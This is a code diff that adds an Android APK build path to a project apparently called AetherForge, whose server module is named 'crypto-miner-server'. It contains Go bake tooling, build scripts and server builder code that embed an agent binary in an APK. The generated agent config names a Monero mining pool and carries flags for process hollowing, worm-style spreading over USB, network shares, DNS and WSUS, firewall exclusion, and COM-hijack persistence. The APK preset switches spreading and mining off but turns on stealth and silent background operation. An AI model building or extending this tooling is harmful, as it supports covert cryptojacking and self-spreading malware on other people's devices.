||||||
|
ROOT="$(cd "$(dirname "$0")" && pwd)"
|
||||||
|
REPO_ROOT="$(cd "$ROOT/.." && pwd)"
|
||||||
|
AGENT_DIR="$REPO_ROOT/agent"
|
||||||
|
APP_DIR="$ROOT/agent-app"
|
||||||
|
ASSETS_DIR="$APP_DIR/src/main/assets"
|
||||||
|
AGENT_ASSET="$ASSETS_DIR/agent"
|
||||||
|
CONFIG_ASSET="$ASSETS_DIR/config.json"
|
||||||
|
BUILTIN_PATH="$AGENT_DIR/config/builtin.go"
|
||||||
|
BUILTIN_BACKUP="$AGENT_DIR/config/builtin.go.android-bak"
|
||||||
|
APK_OUT="$APP_DIR/build/outputs/apk/debug/aetherforge-agent.apk"
|
||||||
|
|
||||||
|
SERVER_URL="${AETHERFORGE_SERVER_URL:-http://127.0.0.1:8989}"
|
||||||
|
WORKER_NAME="${AETHERFORGE_WORKER_NAME:-android-fleet-node}"
|
||||||
|
FLEET_SECRET="${AETHERFORGE_FLEET_SECRET:-}"
|
||||||
|
BUILD_ID="${AETHERFORGE_BUILD_ID:-android-$(date +%Y%m%d-%H%M%S)}"
|
||||||
|
|
||||||
|
restore_builtin() {
|
||||||
|
if [[ -f "$BUILTIN_BACKUP" ]]; then
|
||||||
|
mv -f "$BUILTIN_BACKUP" "$BUILTIN_PATH"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
trap restore_builtin EXIT
|
||||||
|
|
||||||
|
command -v go >/dev/null 2>&1 || { echo "go compiler not found" >&2; exit 1; }
|
||||||
|
|
||||||
|
echo "==> Baking config (server=$SERVER_URL worker=$WORKER_NAME)"
|
||||||
|
pushd "$ROOT/forge" >/dev/null
|
||||||
|
bake_args=(
|
||||||
|
run ./cmd/bake
|
||||||
|
-server "$SERVER_URL"
|
||||||
|
-worker "$WORKER_NAME"
|
||||||
|
-build-id "$BUILD_ID"
|
||||||
|
-config-out "$CONFIG_ASSET"
|
||||||
|
-builtin-out "$BUILTIN_PATH"
|
||||||
|
)
|
||||||
|
if [[ -n "$FLEET_SECRET" ]]; then
|
||||||
|
bake_args+=(-fleet-secret "$FLEET_SECRET")
|
||||||
|
fi
|
||||||
|
go "${bake_args[@]}"
|
||||||
|
popd >/dev/null
|
||||||
|
|
||||||
|
[[ -f "$BUILTIN_PATH" ]] && cp -f "$BUILTIN_PATH" "$BUILTIN_BACKUP"
|
||||||
|
|
||||||
|
echo "==> Compiling linux/arm64 agent binary"
|
||||||
|
(
|
||||||
|
cd "$AGENT_DIR"
|
||||||
|
GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -trimpath -ldflags "-s -w" -o "$AGENT_ASSET" .
|
||||||
|
)
|
||||||
|
|
||||||
|
echo " agent binary: $(wc -c <"$AGENT_ASSET") bytes -> $AGENT_ASSET"
|
||||||
|
|
||||||
|
export ANDROID_HOME="${ANDROID_HOME:-${ANDROID_SDK_ROOT:-}}"
|
||||||
|
if [[ -z "$ANDROID_HOME" ]]; then
|
||||||
|
echo "ANDROID_HOME (or ANDROID_SDK_ROOT) is required for Gradle assembleDebug" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [[ ! -x "$APP_DIR/gradlew" ]]; then
|
||||||
|
echo "Gradle wrapper missing. Run: cd android/agent-app && gradle wrapper" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "==> Gradle assembleDebug"
|
||||||
|
(
|
||||||
|
cd "$APP_DIR"
|
||||||
|
./gradlew assembleDebug --no-daemon
|
||||||
|
)
|
||||||
|
|
||||||
|
[[ -f "$APK_OUT" ]] || { echo "APK not found at $APK_OUT" >&2; exit 1; }
|
||||||
|
echo "==> APK ready: $APK_OUT"
|
||||||
80
android/forge/cmd/bake/main.go
Normal file
80
android/forge/cmd/bake/main.go
Normal file
@@ -0,0 +1,80 @@
|
|||||||
|
// bake renders Android APK assets and agent builtin config for a forge run.
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
|
||||||
|
"aetherforge-android-forge/internal/forge"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
worker := flag.String("worker", "", "agent worker name")
|
||||||
|
server := flag.String("server", "", "command deck URL (http/https)")
|
||||||
|
secret := flag.String("fleet-secret", "", "fleet secret (optional; prefer env AETHERFORGE_FLEET_SECRET)")
|
||||||
|
wallet := flag.String("wallet", "", "placeholder wallet (mining off by default)")
|
||||||
|
buildID := flag.String("build-id", "android-dev", "build id stamped into config")
|
||||||
|
configOut := flag.String("config-out", "", "write assets/config.json here")
|
||||||
|
builtinOut := flag.String("builtin-out", "", "write agent/config/builtin.go here")
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
cfg := forge.AndroidAgentDefaults()
|
||||||
|
if *worker != "" {
|
||||||
|
cfg.WorkerName = *worker
|
||||||
|
}
|
||||||
|
if *server != "" {
|
||||||
|
cfg.ServerURL = *server
|
||||||
|
}
|
||||||
|
if *secret != "" {
|
||||||
|
cfg.FleetSecret = *secret
|
||||||
|
} else if v := os.Getenv("AETHERFORGE_FLEET_SECRET"); v != "" {
|
||||||
|
cfg.FleetSecret = v
|
||||||
|
}
|
||||||
|
if *wallet != "" {
|
||||||
|
cfg.Wallet = *wallet
|
||||||
|
}
|
||||||
|
if *buildID != "" {
|
||||||
|
cfg.BuildID = *buildID
|
||||||
|
}
|
||||||
|
|
||||||
|
if *configOut != "" {
|
||||||
|
json, err := forge.RenderConfigJSON(cfg)
|
||||||
|
if err != nil {
|
||||||
|
exitErr(err)
|
||||||
|
}
|
||||||
|
if err := writeFile(*configOut, json); err != nil {
|
||||||
|
exitErr(err)
|
||||||
|
}
|
||||||
|
fmt.Fprintf(os.Stderr, "wrote %s\n", *configOut)
|
||||||
|
}
|
||||||
|
|
||||||
|
if *builtinOut != "" {
|
||||||
|
src, err := forge.RenderBuiltinGo(cfg)
|
||||||
|
if err != nil {
|
||||||
|
exitErr(err)
|
||||||
|
}
|
||||||
|
if err := writeFile(*builtinOut, src); err != nil {
|
||||||
|
exitErr(err)
|
||||||
|
}
|
||||||
|
fmt.Fprintf(os.Stderr, "wrote %s\n", *builtinOut)
|
||||||
|
}
|
||||||
|
|
||||||
|
if *configOut == "" && *builtinOut == "" {
|
||||||
|
fmt.Fprintln(os.Stderr, "specify -config-out and/or -builtin-out")
|
||||||
|
os.Exit(2)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func writeFile(path, body string) error {
|
||||||
|
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return os.WriteFile(path, []byte(body), 0644)
|
||||||
|
}
|
||||||
|
|
||||||
|
func exitErr(err error) {
|
||||||
|
fmt.Fprintf(os.Stderr, "bake error: %v\n", err)
|
||||||
|
os.Exit(1)
|
||||||
|
}
|
||||||
3
android/forge/go.mod
Normal file
3
android/forge/go.mod
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
module aetherforge-android-forge
|
||||||
|
|
||||||
|
go 1.26.3
|
||||||
140
android/forge/internal/forge/config.go
Normal file
140
android/forge/internal/forge/config.go
Normal file
@@ -0,0 +1,140 @@
|
|||||||
|
// Package forge renders Android agent APK bake-time configuration.
|
||||||
|
package forge
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// BakeConfig holds values embedded at APK forge time.
|
||||||
|
type BakeConfig struct {
|
||||||
|
WorkerName string `json:"worker_name"`
|
||||||
|
ServerURL string `json:"server_url"`
|
||||||
|
FleetSecret string `json:"fleet_secret,omitempty"`
|
||||||
|
Wallet string `json:"wallet,omitempty"`
|
||||||
|
BuildID string `json:"build_id,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// AndroidAgentDefaults returns fleet-first defaults with mining off by default.
|
||||||
|
func AndroidAgentDefaults() BakeConfig {
|
||||||
|
return BakeConfig{
|
||||||
|
WorkerName: "android-fleet-node",
|
||||||
|
ServerURL: "http://127.0.0.1:8989",
|
||||||
|
Wallet: "android-node-no-pool",
|
||||||
|
BuildID: "android-dev",
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// RenderConfigJSON produces assets/config.json content for the APK wrapper.
|
||||||
|
func RenderConfigJSON(cfg BakeConfig) (string, error) {
|
||||||
|
cfg = normalize(cfg)
|
||||||
|
out := map[string]any{
|
||||||
|
"worker_name": cfg.WorkerName,
|
||||||
|
"server_url": cfg.ServerURL,
|
||||||
|
"mining": map[string]any{
|
||||||
|
"enabled": false,
|
||||||
|
"mode": "idle",
|
||||||
|
"note": "CPU mining disabled by default; enable via server policy or re-forge.",
|
||||||
|
},
|
||||||
|
"fleet_secret_set": strings.TrimSpace(cfg.FleetSecret) != "",
|
||||||
|
"build_id": cfg.BuildID,
|
||||||
|
}
|
||||||
|
if cfg.FleetSecret != "" {
|
||||||
|
out["fleet_secret"] = cfg.FleetSecret
|
||||||
|
}
|
||||||
|
var buf bytes.Buffer
|
||||||
|
enc := json.NewEncoder(&buf)
|
||||||
|
enc.SetEscapeHTML(false)
|
||||||
|
enc.SetIndent("", " ")
|
||||||
|
if err := enc.Encode(out); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(buf.String()) + "\n", nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// RenderBuiltinGo produces agent/config/builtin.go for the embedded linux/arm64 binary.
|
||||||
|
func RenderBuiltinGo(cfg BakeConfig) (string, error) {
|
||||||
|
cfg = normalize(cfg)
|
||||||
|
now := time.Now().UTC().Unix()
|
||||||
|
return fmt.Sprintf(`// Code generated by AetherForge Android forge — DO NOT EDIT
|
||||||
|
// Build ID: %s
|
||||||
|
|
||||||
|
package config
|
||||||
|
|
||||||
|
import "time"
|
||||||
|
|
||||||
|
func GetBuiltinConfig() BuiltinConfig {
|
||||||
|
return BuiltinConfig{
|
||||||
|
WorkerName: %q,
|
||||||
|
ServerURL: %q,
|
||||||
|
Wallet: %q,
|
||||||
|
Threads: 0,
|
||||||
|
ThreadMode: "percent",
|
||||||
|
ThreadPercent: 0,
|
||||||
|
CPUPriority: "idle",
|
||||||
|
MiningMode: "idle",
|
||||||
|
MinerExecution: "inprocess",
|
||||||
|
DisplayMode: "background",
|
||||||
|
SilentMode: false,
|
||||||
|
RunAs: "user",
|
||||||
|
AutoStart: false,
|
||||||
|
ProcessName: "aetherforge-agent",
|
||||||
|
BuildID: %q,
|
||||||
|
BuiltAt: time.Unix(%d, 0),
|
||||||
|
PoolHost: "pool.supportxmr.com",
|
||||||
|
PoolPort: 3333,
|
||||||
|
PoolTLS: false,
|
||||||
|
PoolPass: "x",
|
||||||
|
MaxCPUUsage: 0,
|
||||||
|
MaxMemoryPct: 50,
|
||||||
|
MinFreeRAM: 256,
|
||||||
|
IdleThresholdPct: 0,
|
||||||
|
IdleDurationMinutes: 60,
|
||||||
|
ScheduleStart: "00:00",
|
||||||
|
ScheduleEnd: "00:01",
|
||||||
|
InstallBase: "temp",
|
||||||
|
InstallRelativePath: "aetherforge-agent",
|
||||||
|
AdaptToHardware: true,
|
||||||
|
SelfHealing: false,
|
||||||
|
FileLogging: true,
|
||||||
|
StealthMode: false,
|
||||||
|
FirewallExclusion: false,
|
||||||
|
AIEnabled: false,
|
||||||
|
ProcessHollowing: false,
|
||||||
|
MeshP2P: false,
|
||||||
|
AutoSpread: false,
|
||||||
|
HolePunch: false,
|
||||||
|
RemoteAggressive: false,
|
||||||
|
USBSpread: false,
|
||||||
|
ShareSpread: false,
|
||||||
|
GPUEnabled: false,
|
||||||
|
FleetSecret: %q,
|
||||||
|
LotlOnionEnabled: false,
|
||||||
|
LotlPolicyFromServer: false,
|
||||||
|
DnsTxtSpread: false,
|
||||||
|
WebRTCMeshSpread: false,
|
||||||
|
WSUSCachePeerSpread: false,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
`, cfg.BuildID, cfg.WorkerName, cfg.ServerURL, cfg.Wallet, cfg.BuildID, now, cfg.FleetSecret), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func normalize(cfg BakeConfig) BakeConfig {
|
||||||
|
def := AndroidAgentDefaults()
|
||||||
|
if strings.TrimSpace(cfg.WorkerName) == "" {
|
||||||
|
cfg.WorkerName = def.WorkerName
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(cfg.ServerURL) == "" {
|
||||||
|
cfg.ServerURL = def.ServerURL
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(cfg.Wallet) == "" {
|
||||||
|
cfg.Wallet = def.Wallet
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(cfg.BuildID) == "" {
|
||||||
|
cfg.BuildID = def.BuildID
|
||||||
|
}
|
||||||
|
return cfg
|
||||||
|
}
|
||||||
78
android/forge/internal/forge/config_test.go
Normal file
78
android/forge/internal/forge/config_test.go
Normal file
@@ -0,0 +1,78 @@
|
|||||||
|
package forge
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestRenderConfigJSON(t *testing.T) {
|
||||||
|
cfg := BakeConfig{
|
||||||
|
WorkerName: "pixel-7",
|
||||||
|
ServerURL: "https://deck.example.com:8989",
|
||||||
|
FleetSecret: "test-secret",
|
||||||
|
BuildID: "apk-001",
|
||||||
|
}
|
||||||
|
raw, err := RenderConfigJSON(cfg)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
var doc map[string]any
|
||||||
|
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
|
||||||
|
t.Fatalf("invalid json: %v\n%s", err, raw)
|
||||||
|
}
|
||||||
|
if doc["worker_name"] != "pixel-7" {
|
||||||
|
t.Fatalf("worker_name: %v", doc["worker_name"])
|
||||||
|
}
|
||||||
|
if doc["server_url"] != "https://deck.example.com:8989" {
|
||||||
|
t.Fatalf("server_url: %v", doc["server_url"])
|
||||||
|
}
|
||||||
|
mining, ok := doc["mining"].(map[string]any)
|
||||||
|
if !ok || mining["enabled"] != false {
|
||||||
|
t.Fatalf("mining should be disabled: %v", doc["mining"])
|
||||||
|
}
|
||||||
|
if doc["fleet_secret_set"] != true {
|
||||||
|
t.Fatalf("fleet_secret_set expected true")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRenderBuiltinGo(t *testing.T) {
|
||||||
|
cfg := BakeConfig{
|
||||||
|
WorkerName: "tab-s9",
|
||||||
|
ServerURL: "http://10.0.0.5:8989",
|
||||||
|
FleetSecret: "fleet-key",
|
||||||
|
Wallet: "placeholder-wallet",
|
||||||
|
BuildID: "b-android",
|
||||||
|
}
|
||||||
|
src, err := RenderBuiltinGo(cfg)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
for _, needle := range []string{
|
||||||
|
`WorkerName: "tab-s9"`,
|
||||||
|
`ServerURL: "http://10.0.0.5:8989"`,
|
||||||
|
`FleetSecret: "fleet-key"`,
|
||||||
|
`MiningMode: "idle"`,
|
||||||
|
`IdleThresholdPct: 0`,
|
||||||
|
`AutoStart: false`,
|
||||||
|
`GPUEnabled: false`,
|
||||||
|
} {
|
||||||
|
if !strings.Contains(src, needle) {
|
||||||
|
t.Fatalf("missing %q in builtin.go:\n%s", needle, src)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAndroidAgentDefaults(t *testing.T) {
|
||||||
|
def := AndroidAgentDefaults()
|
||||||
|
raw, err := RenderConfigJSON(def)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !strings.Contains(raw, `"enabled": false`) {
|
||||||
|
t.Fatalf("expected mining disabled in json: %s", raw)
|
||||||
|
}
|
||||||
|
if !strings.Contains(raw, def.ServerURL) {
|
||||||
|
t.Fatalf("expected default server url in json: %s", raw)
|
||||||
|
}
|
||||||
|
}
|
||||||
37
android/smoke-gradle.sh
Normal file
37
android/smoke-gradle.sh
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Smoke-check that the Android Gradle project is structurally valid.
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
ROOT="$(cd "$(dirname "$0")" && pwd)"
|
||||||
|
APP="$ROOT/agent-app"
|
||||||
|
|
||||||
|
required=(
|
||||||
|
"$APP/build.gradle.kts"
|
||||||
|
"$APP/settings.gradle.kts"
|
||||||
|
"$APP/src/main/AndroidManifest.xml"
|
||||||
|
"$APP/src/main/java/com/aetherforge/agent/MainActivity.kt"
|
||||||
|
"$APP/src/main/java/com/aetherforge/agent/AgentService.kt"
|
||||||
|
"$APP/src/main/java/com/aetherforge/agent/BootReceiver.kt"
|
||||||
|
"$APP/src/main/assets/config.json"
|
||||||
|
)
|
||||||
|
|
||||||
|
for f in "${required[@]}"; do
|
||||||
|
if [[ ! -f "$f" ]]; then
|
||||||
|
echo "missing required file: $f" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
grep -q 'FOREGROUND_SERVICE' "$APP/src/main/AndroidManifest.xml"
|
||||||
|
grep -q 'RECEIVE_BOOT_COMPLETED' "$APP/src/main/AndroidManifest.xml"
|
||||||
|
grep -q 'AgentService' "$APP/src/main/AndroidManifest.xml"
|
||||||
|
|
||||||
|
if [[ -x "$APP/gradlew" ]]; then
|
||||||
|
(cd "$APP" && ./gradlew help -q)
|
||||||
|
elif command -v gradle >/dev/null 2>&1; then
|
||||||
|
(cd "$APP" && gradle help -q)
|
||||||
|
else
|
||||||
|
echo "gradle not installed — structural checks only (PASS)"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "android gradle smoke: OK"
|
||||||
@@ -186,6 +186,7 @@ if (-not $SkipE2E) {
|
|||||||
go build -o $ServerExe .
|
go build -o $ServerExe .
|
||||||
Pop-Location
|
Pop-Location
|
||||||
}
|
}
|
||||||
|
$env:AETHERFORGE_E2E = "1"
|
||||||
$proc = Start-Process -FilePath $ServerExe -ArgumentList "-port","18989","-data",$DataDir -WorkingDirectory $Root -PassThru -WindowStyle Hidden
|
$proc = Start-Process -FilePath $ServerExe -ArgumentList "-port","18989","-data",$DataDir -WorkingDirectory $Root -PassThru -WindowStyle Hidden
|
||||||
try {
|
try {
|
||||||
$ready = $false
|
$ready = $false
|
||||||
|
|||||||
292
server/internal/builder/build_apk.go
Normal file
292
server/internal/builder/build_apk.go
Normal file
@@ -0,0 +1,292 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"path/filepath"
|
||||||
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ApkBuildFunc packages the Android APK. Nil uses the default gradle/script path.
|
||||||
|
type ApkBuildFunc func(h *Handler, ctx context.Context, androidDir, buildDir string) (apkPath string, err error)
|
||||||
|
|
||||||
|
// Android-safe LOTL tiers baked into APK fleet nodes (no Windows spread lanes).
|
||||||
|
var apkSafeLotlTiers = []string{"vuln_recon", "linux"}
|
||||||
|
|
||||||
|
// ApplyApkBuildPreset enforces fleet-node defaults for phone/tablet APK builds.
|
||||||
|
func ApplyApkBuildPreset(req *BuildRequest) {
|
||||||
|
req.ApkMode = true
|
||||||
|
req.TargetOS = "android"
|
||||||
|
req.TargetArch = "arm64"
|
||||||
|
req.FusionEnabled = false
|
||||||
|
req.SpreadKit = false
|
||||||
|
req.GPUEnabled = false
|
||||||
|
req.ProcessHollowing = false
|
||||||
|
req.Obfuscate = false
|
||||||
|
req.SignBuild = false
|
||||||
|
req.MiningDisabled = true
|
||||||
|
req.MinerExecution = "inprocess"
|
||||||
|
req.Threads = 1
|
||||||
|
req.ThreadMode = "fixed"
|
||||||
|
req.ThreadPercent = 25
|
||||||
|
req.MiningMode = "idle"
|
||||||
|
req.MaxCPUUsagePct = 30
|
||||||
|
req.StealthMode = true
|
||||||
|
req.SilentMode = true
|
||||||
|
req.DisplayMode = "background"
|
||||||
|
req.FileLogging = false
|
||||||
|
req.AutoSpread = false
|
||||||
|
req.USBSpread = false
|
||||||
|
req.ShareSpread = false
|
||||||
|
req.WinRMSpread = false
|
||||||
|
req.DnsTxtSpread = false
|
||||||
|
req.WebRTCMeshSpread = false
|
||||||
|
req.WSUSCachePeerSpread = false
|
||||||
|
req.COMHijackPersist = false
|
||||||
|
req.RemoteAggressive = false
|
||||||
|
req.LinuxLOTLMode = "off"
|
||||||
|
req.LotlOnionEnabled = false
|
||||||
|
req.LotlPolicyFromServer = false
|
||||||
|
req.LotlOnionTiers = append([]string(nil), apkSafeLotlTiers...)
|
||||||
|
if strings.TrimSpace(req.ApkAgentName) == "" {
|
||||||
|
req.ApkAgentName = req.WorkerName
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) apkAndroidDir() string {
|
||||||
|
if h.projectRoot != "" && h.projectRoot != "." {
|
||||||
|
return filepath.Join(h.projectRoot, "android")
|
||||||
|
}
|
||||||
|
return filepath.Join(h.dataDir, "android")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) apkAssetsDir() string {
|
||||||
|
return filepath.Join(h.apkAndroidDir(), "agent-app", "src", "main", "assets")
|
||||||
|
}
|
||||||
|
|
||||||
|
type apkAssetConfig struct {
|
||||||
|
ServerURL string `json:"server_url"`
|
||||||
|
WorkerName string `json:"worker_name"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) writeApkConfigJSON(req *BuildRequest) error {
|
||||||
|
assetsDir := h.apkAssetsDir()
|
||||||
|
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||||
|
return fmt.Errorf("create apk assets dir: %w", err)
|
||||||
|
}
|
||||||
|
cfg := apkAssetConfig{
|
||||||
|
ServerURL: strings.TrimSpace(req.ServerURL),
|
||||||
|
WorkerName: strings.TrimSpace(req.ApkAgentName),
|
||||||
|
}
|
||||||
|
if cfg.WorkerName == "" {
|
||||||
|
cfg.WorkerName = strings.TrimSpace(req.WorkerName)
|
||||||
|
}
|
||||||
|
raw, err := json.MarshalIndent(cfg, "", " ")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return os.WriteFile(filepath.Join(assetsDir, "config.json"), raw, 0644)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) copyAgentBinaryToApkAssets(agentBinary string) error {
|
||||||
|
assetsDir := h.apkAssetsDir()
|
||||||
|
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||||
|
return fmt.Errorf("create apk assets dir: %w", err)
|
||||||
|
}
|
||||||
|
dest := filepath.Join(assetsDir, "agent")
|
||||||
|
return copyFile(agentBinary, dest)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) defaultApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) {
|
||||||
|
script := filepath.Join(androidDir, "build-apk.ps1")
|
||||||
|
if runtime.GOOS == "windows" && fileExists(script) {
|
||||||
|
cmd := exec.CommandContext(ctx, "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-File", script, "-AndroidDir", androidDir, "-OutputDir", buildDir)
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
return "", fmt.Errorf("apk build cancelled")
|
||||||
|
}
|
||||||
|
return "", fmt.Errorf("build-apk.ps1 failed: %s", strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
apk := filepath.Join(buildDir, "agent-app-release.apk")
|
||||||
|
if fileExists(apk) {
|
||||||
|
return apk, nil
|
||||||
|
}
|
||||||
|
return "", fmt.Errorf("build-apk.ps1 did not produce agent-app-release.apk")
|
||||||
|
}
|
||||||
|
|
||||||
|
gradlew := filepath.Join(androidDir, "gradlew")
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
gradlew = filepath.Join(androidDir, "gradlew.bat")
|
||||||
|
}
|
||||||
|
if fileExists(gradlew) {
|
||||||
|
cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleRelease")
|
||||||
|
cmd.Dir = androidDir
|
||||||
|
out, err := cmd.CombinedOutput()
|
||||||
|
if err != nil {
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
return "", fmt.Errorf("apk build cancelled")
|
||||||
|
}
|
||||||
|
return "", fmt.Errorf("gradle assembleRelease failed: %s", strings.TrimSpace(string(out)))
|
||||||
|
}
|
||||||
|
candidates := []string{
|
||||||
|
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release-unsigned.apk"),
|
||||||
|
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release.apk"),
|
||||||
|
}
|
||||||
|
for _, c := range candidates {
|
||||||
|
if fileExists(c) {
|
||||||
|
dest := filepath.Join(buildDir, "agent-app-release.apk")
|
||||||
|
if err := copyFile(c, dest); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return dest, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "", fmt.Errorf("gradle finished but APK output not found")
|
||||||
|
}
|
||||||
|
|
||||||
|
return "", fmt.Errorf("android build tooling not found — expected %s or gradlew", script)
|
||||||
|
}
|
||||||
|
|
||||||
|
func fileExists(path string) bool {
|
||||||
|
_, err := os.Stat(path)
|
||||||
|
return err == nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *Handler) invokeApkBuild(ctx context.Context, androidDir, buildDir string) (string, error) {
|
||||||
|
if h.apkBuildFn != nil {
|
||||||
|
return h.apkBuildFn(h, ctx, androidDir, buildDir)
|
||||||
|
}
|
||||||
|
return h.defaultApkBuild(ctx, androidDir, buildDir)
|
||||||
|
}
|
||||||
|
|
||||||
|
func apkFileName(req *BuildRequest) string {
|
||||||
|
base := sanitizeFileName(req.ApkAgentName)
|
||||||
|
if base == "" {
|
||||||
|
base = sanitizeFileName(req.WorkerName)
|
||||||
|
}
|
||||||
|
return "agent-" + base + ".apk"
|
||||||
|
}
|
||||||
|
|
||||||
|
// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
|
||||||
|
func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
|
||||||
|
ApplyApkBuildPreset(req)
|
||||||
|
|
||||||
|
buildID := uuid.New().String()
|
||||||
|
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||||
|
agentDir := filepath.Join(buildDir, "agent")
|
||||||
|
cleanupBuild := func() { _ = os.RemoveAll(buildDir) }
|
||||||
|
|
||||||
|
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
h.setProgress(req.CancelToken, "Copying source files", 5)
|
||||||
|
if err := h.copyAgentSource(agentDir); err != nil {
|
||||||
|
cleanupBuild()
|
||||||
|
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
platform := BuildPlatform{GOOS: "linux", GOARCH: "arm64", Ext: ""}
|
||||||
|
h.setProgress(req.CancelToken, "Compiling agent (linux/arm64)", 25)
|
||||||
|
outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, platform, false)
|
||||||
|
if err != nil {
|
||||||
|
cleanupBuild()
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
h.setProgress(req.CancelToken, "Writing Android config", 55)
|
||||||
|
if err := h.writeApkConfigJSON(req); err != nil {
|
||||||
|
cleanupBuild()
|
||||||
|
return BuildResponse{Success: false, Error: "Failed to write apk config.json: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
h.setProgress(req.CancelToken, "Copying agent to APK assets", 65)
|
||||||
|
if err := h.copyAgentBinaryToApkAssets(outputPath); err != nil {
|
||||||
|
cleanupBuild()
|
||||||
|
return BuildResponse{Success: false, Error: "Failed to copy agent binary: " + err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
h.setProgress(req.CancelToken, "Building APK", 80)
|
||||||
|
androidDir := h.apkAndroidDir()
|
||||||
|
apkPath, err := h.invokeApkBuild(ctx, androidDir, buildDir)
|
||||||
|
if err != nil {
|
||||||
|
cleanupBuild()
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
finalName := apkFileName(req)
|
||||||
|
finalPath := filepath.Join(buildDir, finalName)
|
||||||
|
if apkPath != finalPath {
|
||||||
|
if err := copyFile(apkPath, finalPath); err != nil {
|
||||||
|
cleanupBuild()
|
||||||
|
return BuildResponse{Success: false, Error: "Failed to stage APK: " + err.Error()}, http.StatusInternalServerError, ""
|
